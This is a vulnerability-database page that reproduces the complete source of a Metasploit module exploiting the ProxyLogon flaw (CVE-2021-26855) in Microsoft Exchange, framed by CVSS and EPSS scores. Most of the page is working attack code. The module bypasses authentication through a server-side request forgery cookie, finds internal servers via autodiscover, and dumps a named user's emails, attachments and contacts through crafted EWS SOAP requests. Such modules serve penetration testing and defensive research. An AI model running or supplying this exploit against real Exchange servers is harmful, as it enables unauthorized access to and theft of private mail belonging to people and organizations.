Lucene search

K
metasploitOrange Tsai, GreyOrder, mekhalleh (RAMELLA Sébastien)MSF:AUXILIARY-GATHER-EXCHANGE_PROXYLOGON_COLLECTOR-
HistoryMar 09, 2021 - 7:52 p.m.

Microsoft Exchange ProxyLogon Collector

2021-03-0919:52:01
Orange Tsai, GreyOrder, mekhalleh (RAMELLA Sébastien)
www.rapid7.com
133

9.1 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

8.8 High

AI Score

Confidence

High

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.975 High

EPSS

Percentile

100.0%

This module exploit a vulnerability on Microsoft Exchange Server that allows an attacker bypassing the authentication and impersonating as the admin (CVE-2021-26855). By taking advantage of this vulnerability, it is possible to dump all mailboxes (emails, attachments, contacts, …). This vulnerability affects (Exchange 2013 Versions < 15.00.1497.012, Exchange 2016 CU18 < 15.01.2106.013, Exchange 2016 CU19 < 15.01.2176.009, Exchange 2019 CU7 < 15.02.0721.013, Exchange 2019 CU8 < 15.02.0792.010). All components are vulnerable by default.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

# begin auxiliary class
class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Microsoft Exchange ProxyLogon Collector',
        'Description' => %q{
          This module exploit a vulnerability on Microsoft Exchange Server that
          allows an attacker bypassing the authentication and impersonating as the
          admin (CVE-2021-26855).

          By taking advantage of this vulnerability, it is possible to dump all
          mailboxes (emails, attachments, contacts, ...).

          This vulnerability affects (Exchange 2013 Versions < 15.00.1497.012,
          Exchange 2016 CU18 < 15.01.2106.013, Exchange 2016 CU19 < 15.01.2176.009,
          Exchange 2019 CU7 < 15.02.0721.013, Exchange 2019 CU8 < 15.02.0792.010).

          All components are vulnerable by default.
        },
        'Author' => [
          'Orange Tsai', # Discovery (Officially acknowledged by MSRC)
          'GreyOrder', # PoC (https://github.com/GreyOrder)
          'mekhalleh (RAMELLA Sébastien)' # Module author independent researcher (work at Zeop Entreprise)
        ],
        'References' => [
          ['CVE', '2021-26855'],
          ['LOGO', 'https://proxylogon.com/images/logo.jpg'],
          ['URL', 'https://proxylogon.com/'],
          ['URL', 'https://msrc-blog.microsoft.com/2021/03/02/multiple-security-updates-released-for-exchange-server/'],
          ['URL', 'https://docs.microsoft.com/en-us/exchange/client-developer/web-service-reference/distinguishedfolderid'],
          ['URL', 'https://github.com/3gstudent/Homework-of-Python/blob/master/ewsManage.py']
        ],
        'DisclosureDate' => '2021-03-02',
        'License' => MSF_LICENSE,
        'DefaultOptions' => {
          'RPORT' => 443,
          'SSL' => true
        },
        'Actions' => [
          [
            'Dump (Contacts)', {
              'Description' => 'Dump user contacts from exchange server',
              'id_attribute' => 'contacts'
            }
          ],
          [
            'Dump (Emails)', {
              'Description' => 'Dump user emails from exchange server'
            }
          ]
        ],
        'DefaultAction' => 'Dump (Emails)',
        'Notes' => {
          'AKA' => ['ProxyLogon'],
          'Stability' => [CRASH_SAFE],
          'Reliability' => [],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )

    register_options([
      OptBool.new('ATTACHMENTS', [true, 'Dump documents attached to an email', true]),
      OptString.new('EMAIL', [true, 'The email account what you want dump']),
      OptString.new('FOLDER', [true, 'The email folder what you want dump', 'inbox']),
      OptEnum.new('METHOD', [true, 'HTTP Method to use for the check (only).', 'POST', ['GET', 'POST']]),
      OptString.new('TARGET', [false, 'Force the name of the internal Exchange server targeted'])
    ])

    register_advanced_options([
      OptInt.new('MaxEntries', [false, 'Override the maximum number of object to dump', 2147483647])
    ])
  end

  XMLNS = { 't' => 'http://schemas.microsoft.com/exchange/services/2006/types' }.freeze

  def dump_contacts(server_name)
    ssrf = "#{server_name}/EWS/Exchange.asmx?a=~#{random_ssrf_id}"

    response = send_xml('POST', ssrf, soap_countitems(action['id_attribute']))
    if response.body =~ /Success/
      print_good("Successfully connected to: #{action['id_attribute']}")
      xml = Nokogiri::XML.parse(response.body)

      folder_id = xml.at_xpath('//t:ContactsFolder/t:FolderId', XMLNS)&.values&.at(0)
      print_status("Selected folder: #{action['id_attribute']} (#{folder_id})")

      total_count = xml.at_xpath('//t:ContactsFolder/t:TotalCount', XMLNS)&.content
      print_status("Number of contact found: #{total_count}")

      if total_count.to_i > datastore['MaxEntries']
        print_warning("Number of contact recalculated due to max entries: #{datastore['MaxEntries']}")
        total_count = datastore['MaxEntries'].to_s
      end

      response = send_xml('POST', ssrf, soap_listitems(action['id_attribute'], total_count))
      xml = Nokogiri::XML.parse(response.body)

      print_status(message("Processing dump of #{total_count} items"))
      data = xml.xpath('//t:Items/t:Contact', XMLNS)
      if data.empty?
        print_status('The user has no contacts')
      else
        write_loot("#{datastore['EMAIL']}_#{action['id_attribute']}", data.to_s)
      end
    end
  end

  def dump_emails(server_name)
    ssrf = "#{server_name}/EWS/Exchange.asmx?a=~#{random_ssrf_id}"

    response = send_xml('POST', ssrf, soap_countitems(datastore['FOLDER']))
    if response.body =~ /Success/
      print_good("Successfully connected to: #{datastore['FOLDER']}")
      xml = Nokogiri::XML.parse(response.body)

      folder_id = xml.at_xpath('//t:Folder/t:FolderId', XMLNS)&.values&.at(0)
      print_status("Selected folder: #{datastore['FOLDER']} (#{folder_id})")

      total_count = xml.at_xpath('//t:Folder/t:TotalCount', XMLNS)&.content
      print_status("Number of email found: #{total_count}")

      if total_count.to_i > datastore['MaxEntries']
        print_warning("Number of email recalculated due to max entries: #{datastore['MaxEntries']}")
        total_count = datastore['MaxEntries'].to_s
      end

      print_status(message("Processing dump of #{total_count} items"))
      download_items(total_count, ssrf)
    end
  end

  def download_attachments(item_id, ssrf)
    response = send_xml('POST', ssrf, soap_listattachments(item_id))
    xml = Nokogiri::XML.parse(response.body)

    xml.xpath('//t:Message/t:Attachments/t:FileAttachment', XMLNS).each do |item|
      item_id = item.at_xpath('./t:AttachmentId', XMLNS)&.values&.at(0)

      response = send_xml('POST', ssrf, soap_downattachment(item_id))
      data = Nokogiri::XML.parse(response.body)

      filename = data.at_xpath('//t:FileAttachment/t:Name', XMLNS)&.content
      ctype = data.at_xpath('//t:FileAttachment/t:ContentType', XMLNS)&.content
      content = data.at_xpath('//t:FileAttachment/t:Content', XMLNS)&.content

      print_status("   -> attachment: #{item_id} (#{filename})")
      write_loot("#{datastore['EMAIL']}_#{datastore['FOLDER']}", Rex::Text.decode_base64(content), filename, ctype)
    end
  end

  def download_items(total_count, ssrf)
    response = send_xml('POST', ssrf, soap_listitems(datastore['FOLDER'], total_count))
    xml = Nokogiri::XML.parse(response.body)

    xml.xpath('//t:Items/t:Message', XMLNS).each do |item|
      item_info = item.at_xpath('./t:ItemId', XMLNS)&.values
      next if item_info.nil?

      print_status("Download item: #{item_info[1]}")

      response = send_xml('POST', ssrf, soap_downitem(item_info[0], item_info[1]))
      data = Nokogiri::XML.parse(response.body)

      email = data.at_xpath('//t:Message/t:MimeContent', XMLNS)&.content
      write_loot("#{datastore['EMAIL']}_#{datastore['FOLDER']}", Rex::Text.decode_base64(email))

      attachments = item.at_xpath('./t:HasAttachments', XMLNS)&.content
      if datastore['ATTACHMENTS'] && attachments == 'true'
        download_attachments(item_info[0], ssrf)
      end
      print_status
    end
  end

  def message(msg)
    "#{@proto}://#{datastore['RHOST']}:#{datastore['RPORT']} - #{msg}"
  end

  def random_ssrf_id
    # https://en.wikipedia.org/wiki/2,147,483,647 (lol)
    # max. 2147483647
    rand(1941962752..2147483647)
  end

  def request_autodiscover(server_name)
    xmlns = { 'xmlns' => 'http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a' }

    response = send_xml('POST', "#{server_name}/autodiscover/autodiscover.xml?a=~#{random_ssrf_id}", soap_autodiscover)

    case response.body
    when %r{<ErrorCode>500</ErrorCode>}
      fail_with(Failure::NotFound, 'No Autodiscover information was found')
    when %r{<Action>redirectAddr</Action>}
      fail_with(Failure::NotFound, 'No email address was found')
    end

    xml = Nokogiri::XML.parse(response.body)

    legacy_dn = xml.at_xpath('//xmlns:User/xmlns:LegacyDN', xmlns)&.content
    fail_with(Failure::NotFound, 'No \'LegacyDN\' was found') if legacy_dn.blank?

    server = ''
    owa_urls = []
    xml.xpath('//xmlns:Account/xmlns:Protocol', xmlns).each do |item|
      type = item.at_xpath('./xmlns:Type', xmlns)&.content
      if type == 'EXCH'
        server = item.at_xpath('./xmlns:Server', xmlns)&.content
      end

      next unless type == 'WEB'

      item.xpath('./xmlns:Internal/xmlns:OWAUrl', xmlns).each do |owa_url|
        owa_urls << owa_url.content
      end
    end
    fail_with(Failure::NotFound, 'No \'Server ID\' was found') if server.nil? || server.empty?
    fail_with(Failure::NotFound, 'No \'OWAUrl\' was found') if owa_urls.empty?

    return([server, legacy_dn, owa_urls])
  end

  def send_http(method, ssrf, data: '', ctype: 'application/x-www-form-urlencoded')
    request = {
      'method' => method,
      'uri' => @random_uri,
      'cookie' => "X-BEResource=#{ssrf};",
      'ctype' => ctype
    }
    request = request.merge({ 'data' => data }) unless data.empty?

    received = send_request_cgi(request)
    fail_with(Failure::TimeoutExpired, 'Server did not respond in an expected way') unless received

    received
  end

  def send_xml(method, ssrf, data, ctype: 'text/xml; charset=utf-8')
    send_http(method, ssrf, data: data, ctype: ctype)
  end

  def soap_autodiscover
    <<~SOAP
      <?xml version="1.0" encoding="utf-8"?>
      <Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
        <Request>
          <EMailAddress>#{datastore['EMAIL']}</EMailAddress>
          <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
        </Request>
      </Autodiscover>
    SOAP
  end

  def soap_countitems(folder_id)
    <<~SOAP
      <?xml version="1.0" encoding="utf-8"?>
      <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
      xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"
      xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
      xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
        <soap:Body>
          <m:GetFolder>
            <m:FolderShape>
              <t:BaseShape>Default</t:BaseShape>
            </m:FolderShape>
            <m:FolderIds>
              <t:DistinguishedFolderId Id="#{folder_id}">
                <t:Mailbox>
                  <t:EmailAddress>#{datastore['EMAIL']}</t:EmailAddress>
                </t:Mailbox>
              </t:DistinguishedFolderId>
            </m:FolderIds>
          </m:GetFolder>
        </soap:Body>
      </soap:Envelope>
    SOAP
  end

  def soap_listattachments(item_id)
    <<~SOAP
      <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
      xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"
      xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
      xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
        <soap:Body>
          <m:GetItem>
            <m:ItemShape>
              <t:BaseShape>IdOnly</t:BaseShape>
              <t:AdditionalProperties>
                <t:FieldURI FieldURI="item:Attachments" />
              </t:AdditionalProperties>
            </m:ItemShape>
            <m:ItemIds>
              <t:ItemId Id="#{item_id}" />
            </m:ItemIds>
          </m:GetItem>
        </soap:Body>
      </soap:Envelope>
    SOAP
  end

  def soap_listitems(folder_id, max_entries)
    <<~SOAP
      <?xml version='1.0' encoding='utf-8'?>
      <soap:Envelope
      xmlns:soap='http://schemas.xmlsoap.org/soap/envelope/'
      xmlns:t='http://schemas.microsoft.com/exchange/services/2006/types'
      xmlns:m='http://schemas.microsoft.com/exchange/services/2006/messages'
      xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'>
        <soap:Body>
          <m:FindItem Traversal='Shallow'>
            <m:ItemShape>
              <t:BaseShape>AllProperties</t:BaseShape>
            </m:ItemShape>
            <m:IndexedPageItemView MaxEntriesReturned="#{max_entries}" Offset="0" BasePoint="Beginning" />
            <m:ParentFolderIds>
              <t:DistinguishedFolderId Id='#{folder_id}'>
                <t:Mailbox>
                  <t:EmailAddress>#{datastore['EMAIL']}</t:EmailAddress>
                </t:Mailbox>
              </t:DistinguishedFolderId>
            </m:ParentFolderIds>
          </m:FindItem>
        </soap:Body>
      </soap:Envelope>
    SOAP
  end

  def soap_downattachment(item_id)
    <<~SOAP
      <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
      xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"
      xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
      xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
        <soap:Body>
          <m:GetAttachment>
            <m:AttachmentIds>
              <t:AttachmentId Id="#{item_id}" />
            </m:AttachmentIds>
          </m:GetAttachment>
        </soap:Body>
      </soap:Envelope>
    SOAP
  end

  def soap_downitem(id, change_key)
    <<~SOAP
      <?xml version="1.0" encoding="utf-8"?>
      <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
      xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"
      xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
      xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
        <soap:Body>
          <m:GetItem>
            <m:ItemShape>
              <t:BaseShape>IdOnly</t:BaseShape>
              <t:IncludeMimeContent>true</t:IncludeMimeContent>
            </m:ItemShape>
            <m:ItemIds>
              <t:ItemId Id="#{id}" ChangeKey="#{change_key}" />
            </m:ItemIds>
          </m:GetItem>
        </soap:Body>
      </soap:Envelope>
    SOAP
  end

  def write_loot(type, data, name = '', ctype = 'text/plain')
    loot_path = store_loot(type, ctype, datastore['RHOSTS'], data, name, '')
    print_good("File saved to #{loot_path}")
  end

  def run
    @proto = (ssl ? 'https' : 'http')
    @random_uri = normalize_uri('ecp', "#{Rex::Text.rand_text_alpha(1..3)}.js")

    print_status(message('Attempt to exploit for CVE-2021-26855'))

    # request for internal server name.
    response = send_http(datastore['METHOD'], "localhost~#{random_ssrf_id}")
    if response.code != 500 || !response.headers.to_s.include?('X-FEServer')
      fail_with(Failure::NotFound, 'No \'X-FEServer\' was found')
    end
    server_name = response.headers['X-FEServer']
    print_status("Internal server name (#{server_name})")

    # get information by autodiscover request.
    print_status(message('Sending autodiscover request'))
    server_id, legacy_dn, owa_urls = request_autodiscover(server_name)

    print_status("Server: #{server_id}")
    print_status("LegacyDN: #{legacy_dn}")
    print_status("Internal target(s): #{owa_urls.join(', ')}")

    # selecting target
    print_status(message('Selecting the first internal server to respond'))
    if datastore['TARGET'].nil? || datastore['TARGET'].empty?
      target = ''
      owa_urls.each do |url|
        host = url.split('://')[1].split('.')[0].downcase
        next unless host != server_name.downcase

        response = send_http('GET', "#{host}/EWS/Exchange.asmx?a=~#{random_ssrf_id}")
        next unless response.code == 200

        target = host
        print_good("Targeting internal: #{url}")

        break
      end
      fail_with(Failure::NotFound, 'No internal target was found') if target.empty?
    else
      target = datastore['TARGET']
      print_good("Targeting internal forced to: #{target}")
    end

    # run action
    case action.name
    when /Dump \(Contacts\)/
      print_status(message("Attempt to dump contacts for <#{datastore['EMAIL']}>"))
      dump_contacts(target)
    when /Dump \(Emails\)/
      print_status(message("Attempt to dump emails for <#{datastore['EMAIL']}>"))
      dump_emails(target)
    end
  end

end

9.1 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

8.8 High

AI Score

Confidence

High

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.975 High

EPSS

Percentile

100.0%